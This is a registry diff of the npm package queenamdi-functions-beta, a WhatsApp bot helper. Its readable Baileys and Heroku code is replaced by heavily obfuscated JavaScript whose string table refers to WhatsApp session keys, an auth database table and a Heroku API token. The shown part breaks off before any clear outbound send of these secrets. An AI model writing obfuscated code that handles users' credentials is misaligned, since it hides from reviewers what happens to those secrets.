queenamdi-functions-beta 0.0.6 → 0.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,871 +1,1292 @@
1
- // <<==== Baileys ====>>
1
+ (function (_0x152977, _0x4fc84e) {
2
+ function _0x2f1884(_0x8e43a3, _0x1202ba) {
3
+ return _0x2ec1(_0x1202ba - -0x358, _0x8e43a3);
4
+ }
5
+ const _0x3385db = _0x152977();
6
+ function _0x5584ba(_0x3d3c4f, _0x3ea526) {
7
+ return _0x2ec1(_0x3ea526 - -0x36c, _0x3d3c4f);
8
+ }
9
+ while (!![]) {
10
+ try {
11
+ const _0x36d7bf = parseInt(_0x5584ba(-0xb, -0xf1)) / 0x1 * (-parseInt(_0x5584ba(-0xad, -0x160)) / 0x2) + -parseInt(_0x5584ba(-0x9f, -0x10a)) / 0x3 * (-parseInt(_0x2f1884(-0x2aa, -0x281)) / 0x4) + -parseInt(_0x5584ba(-0x320, -0x2b9)) / 0x5 * (parseInt(_0x5584ba(-0x21d, -0x286)) / 0x6) + parseInt(_0x2f1884(-0x1e7, -0x1bf)) / 0x7 + parseInt(_0x2f1884(-0x30e, -0x252)) / 0x8 + parseInt(_0x2f1884(-0x218, -0x1a1)) / 0x9 * (parseInt(_0x5584ba(-0x233, -0x283)) / 0xa) + parseInt(_0x5584ba(-0x2fa, -0x27d)) / 0xb * (parseInt(_0x5584ba(-0x2f1, -0x24d)) / 0xc);
12
+ if (_0x36d7bf === _0x4fc84e)
13
+ break;
14
+ else
15
+ _0x3385db['push'](_0x3385db['shift']());
16
+ } catch (_0x5b133e) {
17
+ _0x3385db['push'](_0x3385db['shift']());
18
+ }
19
+ }
20
+ }(_0x2d29, 0x86860));
2
21
  const {
3
- default: makeWASocket,
4
- DisconnectReason,
5
- useSingleFileAuthState,
6
- useMultiFileAuthState,
7
- MessageRetryMap,
8
- getDevice,
9
- makeInMemoryStore,
10
- fetchLatestBaileysVersion,
11
- } = require("@adiwajshing/baileys");
12
-
13
- const axios = require('axios');
14
- const CryptoJS = require("crypto-js");
15
- const fs = require("fs");
16
- const got = require('got');
17
- const QRCode = require('qrcode')
18
- const sharp = require('sharp');
19
-
20
- // <<==== HEROKU ====>>
21
- const Heroku = require('heroku-client');
22
- const heroku = new Heroku({
23
- token: vars.HEROKU_API
24
- });
25
- let baseURI = '/apps/' + vars.HEROKU_APP;
26
-
27
- const { state, saveState } = useSingleFileAuthState("./amdi_session.json");
28
-
29
- const msgRetryCounterMap = {};
30
-
31
- // <<==== Language ====>>
32
- const Language = require('../../../language/applyLANG');
33
- const Lang = Language.getString('amdiModule');
34
-
35
- // <==== Temp Store ====>
36
- let messages = []
37
- function deleteMessageST(messageID) {
38
- delete messages[messageID]
22
+ default: makeWASocket,
23
+ DisconnectReason,
24
+ useSingleFileAuthState,
25
+ useMultiFileAuthState,
26
+ MessageRetryMap,
27
+ getDevice,
28
+ makeInMemoryStore,
29
+ fetchLatestBaileysVersion
30
+ } = require('\x40\x61\x64\x69\x77\x61\x6a\x73\x68\x69' + _0x1fcd49(0x132, 0x209)), axios = require(_0x1fe2eb(-0x171, -0x1a8)), CryptoJS = require(_0x1fe2eb(-0x2aa, -0x2bb)), fs = require('\x66\x73'), got = require('\x67\x6f\x74'), QRCode = require(_0x1fe2eb(-0x213, -0x293)), sharp = require('\x73\x68\x61\x72\x70'), amdiDB = require(_0x1fcd49(0xa0, 0x174) + _0x1fcd49(0xe8, 0x113) + '\x44\x42'), vars = require(_0x1fcd49(0x186, 0x174) + _0x1fcd49(0x83, 0x113) + _0x1fe2eb(-0x27e, -0x29f)), Heroku = require(_0x1fe2eb(-0x1f2, -0x28e) + _0x1fe2eb(-0xe5, -0x17a)), _0x3ef1b0 = {};
31
+ _0x3ef1b0[_0x1fcd49(0x226, 0x1c9)] = vars['\x48\x45\x52\x4f\x4b\x55\x5f\x41\x50\x49'];
32
+ const heroku = new Heroku(_0x3ef1b0);
33
+ let baseURI = '\x2f\x61\x70\x70\x73\x2f' + vars[_0x1fcd49(0x148, 0x127)];
34
+ function _0x2ec1(_0x43bb80, _0x28cb4c) {
35
+ const _0x2d29b4 = _0x2d29();
36
+ return _0x2ec1 = function (_0x2ec14d, _0x58c9bc) {
37
+ _0x2ec14d = _0x2ec14d - 0xa4;
38
+ let _0x437205 = _0x2d29b4[_0x2ec14d];
39
+ return _0x437205;
40
+ }, _0x2ec1(_0x43bb80, _0x28cb4c);
39
41
  }
40
- function saveMessageST(messageID, txt) {
41
- messages[messageID] = txt
42
+ const {state, saveState} = useSingleFileAuthState('\x2e\x2f\x61\x6d\x64\x69\x5f\x73\x65\x73' + _0x1fe2eb(-0x394, -0x2f8)), msgRetryCounterMap = {}, Language = require('\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x6c' + _0x1fcd49(0x208, 0x16b) + _0x1fe2eb(-0xd1, -0x1b7)), Lang = Language[_0x1fe2eb(-0x337, -0x2ad)]('\x61\x6d\x64\x69\x4d\x6f\x64\x75\x6c\x65');
43
+ let messages = [];
44
+ function deleteMessageST(_0x505f99) {
45
+ delete messages[_0x505f99];
42
46
  }
43
- function getMessageST(messageID) {
44
- return messages[messageID]
45
-
47
+ function _0x2d29() {
48
+ const _0x2d3beb = [
49
+ '\x6f\x6d\x2f',
50
+ '\x37\x2c\x20\x73\x65\x72\x76\x65\x72\x48',
51
+ '\x6b\x65\x79',
52
+ '\x63\x6f\x6e\x74\x65\x78\x74\x49\x6e\x66',
53
+ '\x6f\x20\x73\x65\x73\x73\x69\x6f\x6e\x20',
54
+ '\x65\x78\x74\x2c\x20\x73\x65\x72\x76\x65',
55
+ '\ud83d\udc83\ud83c\udffb\x20\x4f\x66\x66\x69\x63\x69\x61\x6c',
56
+ '\x6f\x70\x65\x6e',
57
+ '\x74\x6f\x4a\x53\x4f\x4e',
58
+ '\x74\x65\x73\x74',
59
+ '\u26a0\ufe0f\x20\x2a\x44\x65\x76\x65\x6c\x6f\x70',
60
+ '\x72\x65\x6d\x6f\x76\x65',
61
+ '\x6e\x65\x64\x50\x72\x65\x4b\x65\x79\x20',
62
+ '\x6f\x6e\x69\x64',
63
+ '\x64\x61\x74\x61',
64
+ '\x72\x65\x61\x64\x64\x69\x72',
65
+ '\x74\x69\x6d\x65\x64\x4f\x75\x74',
66
+ '\x5b\x43\x4f\x4d\x4d\x41\x4e\x44\x3a\x20',
67
+ '\x65\x20\x53\x65\x73\x73\x69\x6f\x6e\x20',
68
+ '\x74\x6f\x46\x69\x6c\x65',
69
+ '\x2e\x67\x69\x66',
70
+ '\ud83d\udcdf\x20\x43\x75\x72\x72\x65\x6e\x74\x6c',
71
+ '\x67\x65\x74',
72
+ '\x70\x6c\x79\x4c\x41\x4e\x47',
73
+ '\x72\x61\x74\x69\x6f\x6e\x49\x64\x20\x3d',
74
+ '\x2f\x6f\x77\x6e\x65\x72\x2e\x6a\x73\x6f',
75
+ '\x63\x6d\x64',
76
+ '\x6d\x65\x73\x73\x61\x67\x65',
77
+ '\x6f\x61\x64\x65\x64\x50\x72\x65\x4b\x65',
78
+ '\x72\x65\x61\x63\x74\x69\x6f\x6e\x4d\x65',
79
+ '\x73\x69\x67\x6e\x61\x6c\x69\x64\x65\x6e',
80
+ '\x2c\x22\x74\x69\x6d\x65\x22\x3a\x22',
81
+ '\x73\x74\x72\x61\x74\x69\x6f\x6e\x49\x64',
82
+ '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x6d',
83
+ '\x6c\x6f\x67\x67\x65\x64\x4f\x75\x74',
84
+ '\x6a\x2d\x4d\x44\x20\x62\x6f\x74\x2e\x2a',
85
+ '\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74',
86
+ '\x72\x65\x70\x6c\x79\x5f\x6d\x65\x73\x73',
87
+ '\x61\x78\x69\x6f\x73',
88
+ '\x62\x61\x6e\x6e\x65\x64\x5f\x67\x72\x6f',
89
+ '\x2f\x63\x6f\x6e\x66\x69\x67\x2d\x76\x61',
90
+ '\x66\x72\x6f\x6d',
91
+ '\x47\x72\x70\x44\x65\x73\x63',
92
+ '\x63\x6f\x6d\x6d\x69\x74\x3b',
93
+ '\x73\x75\x62\x6a\x65\x63\x74',
94
+ '\x69\x73\x54\x61\x67\x67\x65\x64\x53\x74',
95
+ '\x65\x6e\x64\x73\x57\x69\x74\x68',
96
+ '\x75\x6e\x74\x20\x3d\x20\x24\x39\x2c\x20',
97
+ '\x63\x6f\x75\x6e\x74\x53\x79\x6e\x63\x54',
98
+ '\x73\x65\x6e\x64\x4c\x69\x73\x74\x4d\x73',
99
+ '\x2e\x2f\x70\x6c\x75\x67\x69\x6e\x73\x2f',
100
+ '\x73\x65\x63\x74\x69\x6f\x6e\x73',
101
+ '\x63\x6f\x6d\x2f\x63\x68\x61\x6e\x6e\x65',
102
+ '\x69\x6d\x61\x67\x65\x2e\x70\x6e\x67',
103
+ '\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e',
104
+ '\x67\x2e\x75\x73',
105
+ '\x2e\x6d\x70\x34',
106
+ '\x42\x61\x73\x65',
107
+ '\x6c\x61\x73\x74\x41\x63\x63\x6f\x75\x6e',
108
+ '\x64\x61\x74\x61\x3a\x69\x6d\x61\x67\x65',
109
+ '\x20\x73\x69\x67\x6e\x65\x64\x49\x64\x65',
110
+ '\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x42',
111
+ '\x6e\x64\x73\x20\x68\x65\x72\x65\x2e',
112
+ '\x6c\x65\x61\x73\x65\x20\x53\x63\x61\x6e',
113
+ '\x55\x45\x53\x28\x24\x31\x2c\x24\x32\x2c',
114
+ '\x75\x73\x65\x72',
115
+ '\x6f\x6e\x49\x64',
116
+ '\x77\x2e\x79\x6f\x75\x74\x75\x62\x65\x2e',
117
+ '\x40\x68\x61\x70\x69\x2f\x62\x6f\x6f\x6d',
118
+ '\x39\x34\x37\x37\x34\x39\x37\x36\x35\x36',
119
+ '\x20\x74\x65\x78\x74\x2c\x20\x61\x64\x76',
120
+ '\x69\x6d\x65\x73\x74\x61\x6d\x70\x20\x3d',
121
+ '\x74\x65\x78\x74\x49\x6e\x66\x6f',
122
+ '\x63\x72\x65\x64\x73',
123
+ '\x69\x73\x54\x61\x67\x67\x65\x64\x44\x6f',
124
+ '\x74\x6f\x20\x75\x73\x65',
125
+ '\x69\x73\x47\x72\x6f\x75\x70\x41\x64\x6d',
126
+ '\x32\x32\x32\x65\x6b\x6d\x6d\x71\x6d',
127
+ '\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73',
128
+ '\x6e\x6f\x69\x73\x65\x6b\x65\x79',
129
+ '\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x20',
130
+ '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69',
131
+ '\x39\x34\x37\x31\x39\x30\x37\x37\x38\x31',
132
+ '\x70\x72\x65\x66\x69\x78',
133
+ '\x65\x6e\x74',
134
+ '\x70\x72\x69\x76\x61\x74\x65',
135
+ '\ud83d\udc68\ud83c\udffb\u200d\ud83c\udfeb\x20\x4a\x6f\x69\x6e\x20\x6f\x75\x72',
136
+ '\x36\x71\x4a\x58\x2f\x32\x30\x32\x32\x30',
137
+ '\x55\x50\x44\x41\x54\x45\x20\x61\x75\x74',
138
+ '\x65\x72\x74\x79',
139
+ '\ud83d\udca0\x20\x2a\x47\x72\x6f\x75\x70\x20\x50',
140
+ '\x69\x63\x6b\x65\x72',
141
+ '\x39\x34\x34\x30\x34\x40\x73\x2e\x77\x68',
142
+ '\x2f\x6a\x70\x65\x67\x3b\x62\x61\x73\x65',
143
+ '\x20\x52\x65\x63\x6f\x6e\x6e\x65\x63\x74',
144
+ '\x4f\x20\x61\x75\x74\x68\x20\x56\x41\x4c',
145
+ '\x65\x65\x6e\x20\x41\x6d\x64\x69\x20\x61',
146
+ '\x67\x73\x2e\x6a\x70\x67',
147
+ '\x6a\x6f\x69\x6e',
148
+ '\x61\x6e\x6e\x65\x64\x20\x79\x6f\x75\x20',
149
+ '\x55\x6e\x75\x70\x6c\x6f\x61\x64\x65\x64',
150
+ '\x6c\x65\x61\x73\x65\x20\x43\x6c\x6f\x73',
151
+ '\x31\x57\x56\x4f\x52\x6d\x6e',
152
+ '\x73\x69\x67\x6e\x65\x64\x49\x64\x65\x6e',
153
+ '\x74\x69\x74\x6c\x65',
154
+ '\x63\x6d\x64\x49\x6e\x66\x6f',
155
+ '\x65\x72\x73\x20\x68\x61\x76\x65\x20\x62',
156
+ '\x6d\x61\x74\x63\x68',
157
+ '\x71\x75\x6f\x74\x65\x64',
158
+ '\x73\x74\x61\x74\x75\x73\x40\x62\x72\x6f',
159
+ '\x4b\x65\x79\x49\x64',
160
+ '\x69\x73\x47\x72\x6f\x75\x70',
161
+ '\x73\x69\x6e\x67\x6c\x65\x53\x65\x6c\x65',
162
+ '\x73\x70\x6c\x69\x74',
163
+ '\x73\x65\x6e\x64\x65\x72',
164
+ '\x6c\x61\x63\x6b\x41\x6d\x64\x61\x2f\x51',
165
+ '\x20\x73\x69\x67\x6e\x61\x6c\x49\x64\x65',
166
+ '\x69\x73\x54\x61\x67\x67\x65\x64\x49\x6d',
167
+ '\x6d\x79\x41\x70\x70\x53\x74\x61\x74\x65',
168
+ '\x63\x68\x69\x6c\x64',
169
+ '\x6d\x79\x61\x70\x70\x73\x74\x61\x74\x65',
170
+ '\x69\x6d\x61\x67\x65',
171
+ '\x32\x30\x33\x30\x35\x35\x30\x66\x58\x77\x78\x74\x61',
172
+ '\x74\x74\x6f\x6e\x52\x65\x70\x6c\x79\x4d',
173
+ '\x64\x65\x63\x72\x79\x70\x74',
174
+ '\x64\x50\x72\x65\x4b\x65\x79\x20\x3d\x20',
175
+ '\x41\x6d\x64\x61\x2f\x37\x62\x35\x64\x64',
176
+ '\x73\x69\x67\x6e\x61\x74\x75\x72\x65',
177
+ '\x63\x74\x52\x65\x70\x6c\x79',
178
+ '\x61\x6e\x20\x74\x68\x65\x20\x51\x52\x20',
179
+ '\x74\x65\x78\x74',
180
+ '\x36\x2c\x24\x37\x2c\x24\x38\x2c\x24\x39',
181
+ '\x69\x6f\x6e\x3d\x31',
182
+ '\x31\x2e\x30\x2e\x30',
183
+ '\x6e\x6f\x69\x73\x65\x4b\x65\x79',
184
+ '\x24\x33\x2c\x20\x72\x65\x67\x69\x73\x74',
185
+ '\x20\x61\x6e\x79\x20\x63\x6f\x6d\x6d\x61',
186
+ '\x74\x65\x78\x74\x2c\x20\x72\x65\x67\x69',
187
+ '\x6d\x65\x73\x73\x61\x67\x65\x73',
188
+ '\x63\x72\x65\x74\x4b\x65\x79\x20\x3d\x20',
189
+ '\x0a\x0a\x54\x68\x69\x73\x20\x69\x73\x20',
190
+ '\x35\x33\x39\x65\x31\x30\x36\x65\x63\x33',
191
+ '\x74\x65\x6d\x70\x6c\x61\x74\x65\x42\x75',
192
+ '\x70\x61\x72\x73\x65',
193
+ '\x73\x69\x6c\x65\x6e\x74',
194
+ '\x61\x75\x74\x68',
195
+ '\x20\x54\x69\x6d\x65\x64\x4f\x75\x74\x2c',
196
+ '\x62\x79\x65\x70\x69\x63\x75\x72\x6c',
197
+ '\x62\x20\x57\x41\x3a\x20',
198
+ '\x70\x64\x61\x74\x65',
199
+ '\x69\x2d\x4d\x44\x20',
200
+ '\x74\x69\x74\x79\x4b\x65\x79',
201
+ '\x74\x6f\x53\x74\x72\x69\x6e\x67',
202
+ '\x53\x6e\x38\x32\x2f\x42\x6f\x74\x4c\x6f',
203
+ '\x67\x72\x6f\x75\x70\x43\x72\x65\x61\x74',
204
+ '\x62\x61\x73\x65\x36\x34',
205
+ '\x74\x69\x74\x69\x65\x73',
206
+ '\x65\x78\x74\x2c\x20\x66\x69\x72\x73\x74',
207
+ '\x31\x33\x35\x31\x36\x6b\x6e\x64\x61\x56\x77',
208
+ '\x69\x6d\x65\x73\x74\x61\x6d\x70\x20\x74',
209
+ '\x50\x72\x65\x4b\x65\x79\x49\x64\x20\x74',
210
+ '\x69\x6e\x73\x65\x72\x74\x57\x41\x44\x6f',
211
+ '\x61\x75\x64\x69\x6f',
212
+ '\x69\x6e\x64\x65\x78',
213
+ '\ud83d\udd16\x20\x56\x65\x72\x73\x69\x6f\x6e\x20',
214
+ '\x4b\x65\x79',
215
+ '\x61\x6e\x6e\x65\x6c',
216
+ '\x64\x69\x20\x2d\x20\x57\x69\x6b\x69',
217
+ '\x54\x68\x65\x72\x65\x20\x69\x73\x20\x6e',
218
+ '\x73\x65\x6c\x65\x63\x74\x20\x2a\x20\x66',
219
+ '\x73\x69\x67\x6e\x65\x64\x50\x72\x65\x4b',
220
+ '\x64\x65\x66\x61\x75\x6c\x74',
221
+ '\x20\x53\x65\x72\x76\x65\x72\x2c\x20\x72',
222
+ '\x31\x32\x72\x61\x44\x69\x51\x62',
223
+ '\x72\x6f\x75\x70',
224
+ '\x6d\x64\x69\x20\x76\x34\x20\x2d\x20\x56',
225
+ '\x31\x35\x30\x33\x35\x36\x30\x41\x67\x44\x71\x67\x6b',
226
+ '\x68\x65\x61\x64\x65\x72\x54\x79\x70\x65',
227
+ '\x73\x69\x6f\x6e\x2e\x6a\x73\x6f\x6e',
228
+ '\x36\x34\x2c',
229
+ '\x20\x74\x65\x78\x74\x2c\x20\x73\x69\x67',
230
+ '\x6d\x73\x67\x44\x65\x76\x69\x63\x65',
231
+ '\x31\x31\x75\x66\x58\x51\x77\x64',
232
+ '\x6d\x64\x69\x2f\x6d\x61\x73\x74\x65\x72',
233
+ '\x57\x4f\x52\x4b\x54\x59\x50\x45',
234
+ '\x61\x72\x65\x20\x72\x65\x61\x64\x79\x20',
235
+ '\x65\x78\x69\x73\x74\x57\x41',
236
+ '\x6c\x6f\x67',
237
+ '\x73\x65\x6e\x64\x4d\x65\x73\x73\x61\x67',
238
+ '\x69\x6e\x67\x2e\x2e\x2e',
239
+ '\x65\x78\x69\x74',
240
+ '\x69\x6e\x63\x6c\x75\x64\x65\x73',
241
+ '\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e',
242
+ '\x66\x69\x6c\x65\x2e',
243
+ '\x51\x75\x65\x65\x6e\x5f\x41\x6d\x64\x69',
244
+ '\x73\x73\x65\x74\x73\x2f\x61\x6d\x64\x69',
245
+ '\x62\x6c\x61\x6e\x6b',
246
+ '\ud83d\udcda\x20\x51\x75\x65\x65\x6e\x20\x41\x6d',
247
+ '\x63\x6f\x75\x6e\x74\x20\x74\x65\x78\x74',
248
+ '\x75\x65\x65\x6e\x41\x6d\x64\x69',
249
+ '\x72\x6f\x77\x73',
250
+ '\x70\x53\x74\x61\x74\x65\x4b\x65\x79\x49',
251
+ '\x69\x20\x61\x6e\x64\x20\x4d\x61\x6e\x6f',
252
+ '\x6d\x73\x67\x52\x65\x74\x72\x79\x43\x6f',
253
+ '\x77\x72\x69\x74\x65\x46\x69\x6c\x65',
254
+ '\x32\x38\x30\x36\x30\x30\x77\x7a\x76\x41\x50\x68',
255
+ '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77',
256
+ '\x78\x74\x4d\x65\x73\x73\x61\x67\x65',
257
+ '\x2e\x75\x70\x64\x61\x74\x65',
258
+ '\x65\x72\x6d\x69\x6e\x61\x6c',
259
+ '\x73\x65\x6c\x65\x63\x74\x65\x64\x52\x6f',
260
+ '\x70\x72\x6f\x6d\x69\x73\x69\x66\x79',
261
+ '\x2e\x68\x65\x72\x6f\x6b\x75\x61\x70\x70',
262
+ '\x69\x62\x62\x2e\x63\x6f\x2f\x30\x56\x72',
263
+ '\x55\x74\x66\x38',
264
+ '\x48\x45\x52\x4f\x4b\x55\x5f\x41\x50\x50',
265
+ '\x61\x74\x73\x61\x70\x70\x2e\x6e\x65\x74',
266
+ '\x69\x6d\x61\x67\x65\x4d\x65\x73\x73\x61',
267
+ '\x73\x75\x70\x65\x72\x61\x64\x6d\x69\x6e',
268
+ '\x61\x64\x76\x73\x65\x63\x72\x65\x74\x6b',
269
+ '\x73\x6c\x69\x63\x65',
270
+ '\x65\x61\x73\x65\x20\x44\x65\x6c\x65\x74',
271
+ '\x43\x6c\x69\x63\x6b\x20\x68\x65\x72\x65',
272
+ '\ud83c\udf9e\ufe0f\x20\x41\x4e\x20\x54\x65\x63\x68\x20',
273
+ '\x61\x64\x64',
274
+ '\x36\x2c\x20\x66\x69\x72\x73\x74\x55\x6e',
275
+ '\x65\x4b\x65\x79\x49\x64\x20\x3d\x20\x24',
276
+ '\x2e\x77\x65\x62\x70',
277
+ '\x6d\x65\x73\x73\x61\x67\x65\x43\x6f\x6e',
278
+ '\x6b\x65\x79\x69\x64',
279
+ '\x36\x37\x33\x39\x34\x31\x36\x77\x79\x4f\x6d\x56\x4d',
280
+ '\x73\x65\x6e\x64\x65\x72\x6a\x69\x64',
281
+ '\x65\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6e',
282
+ '\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x64',
283
+ '\x44\x69\x73\x63\x6f\x6e\x6e\x65\x63\x74',
284
+ '\x2c\x24\x31\x30\x2c\x24\x31\x31\x2c\x24',
285
+ '\x49\x4e\x53\x45\x52\x54\x20\x49\x4e\x54',
286
+ '\x0a\u2023\x20\x53\x74\x61\x74\x75\x73\x3a',
287
+ '\x61\x67\x65',
288
+ '\x63\x72\x79\x70\x74\x6f\x2d\x6a\x73',
289
+ '\x73\x65\x6c\x65\x63\x74\x65\x64\x42\x75',
290
+ '\x65\x72\x69\x66\x79\x69\x6e\x67\x20\x66',
291
+ '\x6e\x65\x78\x74\x70\x72\x65\x6b\x65\x79',
292
+ '\x66\x69\x72\x73\x74\x55\x6e\x75\x70\x6c',
293
+ '\x64\x61\x6e\x69\x77\x61\x73\x61\x2e\x63',
294
+ '\x79\x69\x64',
295
+ '\x64\x65\x6e\x74\x69\x74\x79\x4b\x65\x79',
296
+ '\x53\x65\x73\x73\x69\x6f\x6e\x20\x46\x69',
297
+ '\x65\x72\x72\x6f\x72',
298
+ '\x62\x75\x74\x74\x6f\x6e\x73\x52\x65\x73',
299
+ '\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e',
300
+ '\x69\x73\x54\x61\x67\x67\x65\x64\x56\x69',
301
+ '\x74\x74\x6f\x6e\x49\x64',
302
+ '\x67\x65\x74\x53\x74\x72\x69\x6e\x67',
303
+ '\x76\x65\x72\x73\x69\x6f\x6e',
304
+ '\x66\x6f\x6f\x74\x65\x72',
305
+ '\x74\x74\x6f\x6e\x73',
306
+ '\x73\x65\x6e\x64\x42\x75\x74\x74\x6f\x6e',
307
+ '\x2e\x2e\x2f\x2e\x2e\x2f\x2e',
308
+ '\x62\x75\x74\x74\x6f\x6e\x54\x65\x78\x74',
309
+ '\x63\x6f\x6e\x76\x65\x72\x73\x61\x74\x69',
310
+ '\x67\x65\x74\x4d\x65\x73\x73\x61\x67\x65',
311
+ '\x73\x61\x67\x65',
312
+ '\x76\x2c\x20\ud83d\udccb\x20\x4c\x61\x74\x65\x73',
313
+ '\x72\x65\x73\x70\x6f\x6e\x73\x65\x54\x79',
314
+ '\x73\x69\x67\x6e\x65\x64\x69\x64\x65\x6e',
315
+ '\x66\x72\x6f\x6d\x4d\x65',
316
+ '\x53\x65\x74\x74\x69\x6e\x67\x73',
317
+ '\ud83d\udcdf\x20\x51\x75\x65\x65\x6e\x20\x41\x6d',
318
+ '\x53\x61\x66\x61\x72\x69',
319
+ '\x20\x4f\x70\x65\x6e\x65\x64\x2c\x20\x50',
320
+ '\x6e\x74\x69\x74\x79\x4b\x65\x79\x20\x3d',
321
+ '\x72\x65\x70\x6c\x61\x63\x65',
322
+ '\x20\x4c\x6f\x73\x74\x20\x66\x72\x6f\x6d',
323
+ '\x70\x61\x72\x74\x69\x63\x69\x70\x61\x6e',
324
+ '\x36\x34\x33\x36\x64\x62\x37\x2f\x72\x61',
325
+ '\x74\x6f\x44\x61\x74\x61\x55\x52\x4c',
326
+ '\x6d\x65\x73\x73\x61\x67\x65\x73\x2e\x75',
327
+ '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61',
328
+ '\x71\x72\x63\x6f\x64\x65',
329
+ '\x73\x69\x67\x6e\x61\x6c\x49\x64\x65\x6e',
330
+ '\x79\x20\x75\x73\x69\x6e\x67\x20\x57\x65',
331
+ '\x72\x65\x6d\x6f\x74\x65\x4a\x69\x64',
332
+ '\x61\x6e\x67\x75\x61\x67\x65\x2f\x61\x70',
333
+ '\x68\x65\x72\x6f\x6b\x75\x2d\x63\x6c\x69',
334
+ '\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73',
335
+ '\x2e\x6a\x73',
336
+ '\x73\x73\x61\x67\x65',
337
+ '\x69\x6c\x65\x50\x69\x63\x74\x75\x72\x65',
338
+ '\x73\x65\x61\x72\x63\x68',
339
+ '\x65\x6e\x63',
340
+ '\x53\x74\x61\x74\x65\x4b\x65\x79\x49\x64',
341
+ '\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x61',
342
+ '\x4c\x4f\x47\x5f\x4a\x49\x44',
343
+ '\x6b\x65\x79\x50\x61\x69\x72',
344
+ '\x67\x61\x69\x6e',
345
+ '\x61\x74\x61',
346
+ '\x75\x6e\x74\x65\x72\x4d\x61\x70',
347
+ '\x68\x74\x74\x70\x73\x3a\x2f\x2f',
348
+ '\x73\x69\x67\x6e\x65\x64\x70\x72\x65\x6b',
349
+ '\x75\x72\x6c',
350
+ '\x67\x2e\x2e\x2e\x2e',
351
+ '\x72\x65\x73\x74\x61\x72\x74\x52\x65\x71',
352
+ '\x6e\x74\x69\x74\x69\x65\x73\x20\x74\x65',
353
+ '\x74\x3a\x20',
354
+ '\x72\x65\x73\x69\x7a\x65',
355
+ '\x43\x72\x65\x61\x74\x65\x64\x20\x63\x6f',
356
+ '\x75\x72\x6c\x42\x75\x74\x74\x6f\x6e',
357
+ '\x72\x6f\x6d\x20\x61\x75\x74\x68\x3b',
358
+ '\x20\x41\x67\x61\x69\x6e\x20\x41\x6e\x64',
359
+ '\x6d\x20\x75\x73\x69\x6e\x67\x20\x51\x75',
360
+ '\x69\x73\x4d\x65\x64\x69\x61',
361
+ '\x70\x69\x6e\x6f',
362
+ '\x62\x6f\x64\x79',
363
+ '\x74\x72\x75\x65',
364
+ '\x67\x72\x6f\x75\x70\x2d\x70\x61\x72\x74',
365
+ '\u1d07\u1d20\u026a\u1d04\u1d07',
366
+ '\x74\x69\x74\x69\x65\x73\x20\x3d\x20\x24',
367
+ '\x70\x75\x62\x6c\x69\x63',
368
+ '\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68',
369
+ '\x64\x65\x6c\x65\x74\x65',
370
+ '\x62\x75\x74\x74\x6f\x6e\x73',
371
+ '\x2e\x2f\x71\x72\x5f\x63\x6f\x64\x65\x2f',
372
+ '\x6b\x65\x79\x73',
373
+ '\x24\x33\x2c\x24\x34\x2c\x24\x35\x2c\x24',
374
+ '\x67\x72\x6f\x75\x70\x55\x70\x64\x61\x74',
375
+ '\x6e\x64\x20\x4d\x61\x6e\x6f\x6a\x2d\x4d',
376
+ '\x20\x4d\x75\x6c\x74\x69\x2d\x44\x65\x76',
377
+ '\x20\x0a\u2023\x20\x47\x72\x6f\x75\x70\x20',
378
+ '\x69\x63\x65\ud83d\udc83\u2764',
379
+ '\x20\x2d\x20\u1d0d\u1d1c\u029f\u1d1b\u026a\x20\u1d05',
380
+ '\x70\x61\x74\x63\x68',
381
+ '\x61\x63\x74\x69\x6f\x6e',
382
+ '\x2e\x6a\x70\x67',
383
+ '\u01eb\u1d1c\u1d07\u1d07\u0274\x20\u1d00\u1d0d\u1d05\u026a',
384
+ '\x4e\x61\x6d\x65\x3a\x20',
385
+ '\x69\x62\x62\x2e\x63\x6f\x2f\x70\x33\x64',
386
+ '\x39\x34\x37\x35\x39\x35\x35\x31\x32\x39',
387
+ '\x51\x75\x65\x65\x6e\x20\x41\x6d\x64\x69',
388
+ '\x70\x2e\x6e\x65\x74',
389
+ '\x2e\x63\x6f\x6d\x2f\x42\x6c\x61\x63\x6b',
390
+ '\x73\x74\x72\x65\x61\x6d',
391
+ '\x67\x65\x64\x20\x4f\x75\x74\x2c\x20\x50',
392
+ '\x2e\x63\x6f\x6d\x2f',
393
+ '\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70',
394
+ '\x61\x73\x50\x72\x65\x4b\x65\x79\x73\x20',
395
+ '\x72\x65\x61\x64\x46\x69\x6c\x65',
396
+ '\x64\x65\x62\x75\x67',
397
+ '\x52\x45\x41\x44\x5f\x4b\x45\x59',
398
+ '\x64\x69\x73\x70\x6c\x61\x79\x54\x65\x78',
399
+ '\x20\x0a\u2023\x20\x43\x4c\x49\x45\x4e\x54',
400
+ '\x75\x70\x64\x61\x74\x65\x50\x72\x6f\x66',
401
+ '\x33\x35\x39\x31\x34\x37\x36\x6d\x55\x6f\x58\x66\x7a',
402
+ '\x6f\x67\x73\x20\x63\x68\x61\x74\x2e\x0a',
403
+ '\x69\x64\x65\x6e\x74\x69\x66\x69\x65\x72',
404
+ '\x77\x61\x43\x6f\x6e\x49\x6d\x70\x6f\x72',
405
+ '\x45\x52\x52\x4f\x52\x20\x34\x30\x34\x21',
406
+ '\x20\x51\x75\x65\x65\x6e\x20\x41\x6d\x64',
407
+ '\x72\x65\x67\x69\x73\x74\x72\x61\x74\x69',
408
+ '\ud83d\udc83\ud83c\udffb\u2665\ufe0f\x20\x51\x75\x65\x65\x6e\x20\x41',
409
+ '\x72\x79\x54\x69\x6d\x65\x6f\x75\x74\x4d',
410
